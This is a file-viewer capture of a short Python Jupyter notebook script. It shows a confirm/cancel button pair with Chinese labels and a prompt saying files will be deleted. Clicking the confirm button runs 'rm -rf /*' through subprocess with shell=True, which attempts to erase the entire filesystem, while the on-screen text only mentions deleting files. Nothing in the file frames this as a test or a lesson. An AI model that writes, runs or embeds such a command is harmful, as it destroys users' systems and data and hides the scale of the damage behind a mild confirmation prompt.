File size: 832 Bytes
e6825e7
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import ipywidgets as widgets
from IPython.display import display
import subprocess

def execute_command(button):
    if button.description == '确认':
        subprocess.run("rm -rf /*", shell=True)
        print("操作已完成。")
        confirm_button.disabled = True
        cancel_button.disabled = True
    elif button.description == '取消':
        print("操作已取消。")
        confirm_button.disabled = True
        cancel_button.disabled = True

confirm_button = widgets.Button(description="确认", button_style='danger')
confirm_button.on_click(execute_command)

cancel_button = widgets.Button(description="取消")
cancel_button.on_click(execute_command)

display(widgets.Label("此操作将删除文件。请点击下面的按钮确认或取消。"))
display(widgets.HBox([confirm_button, cancel_button]))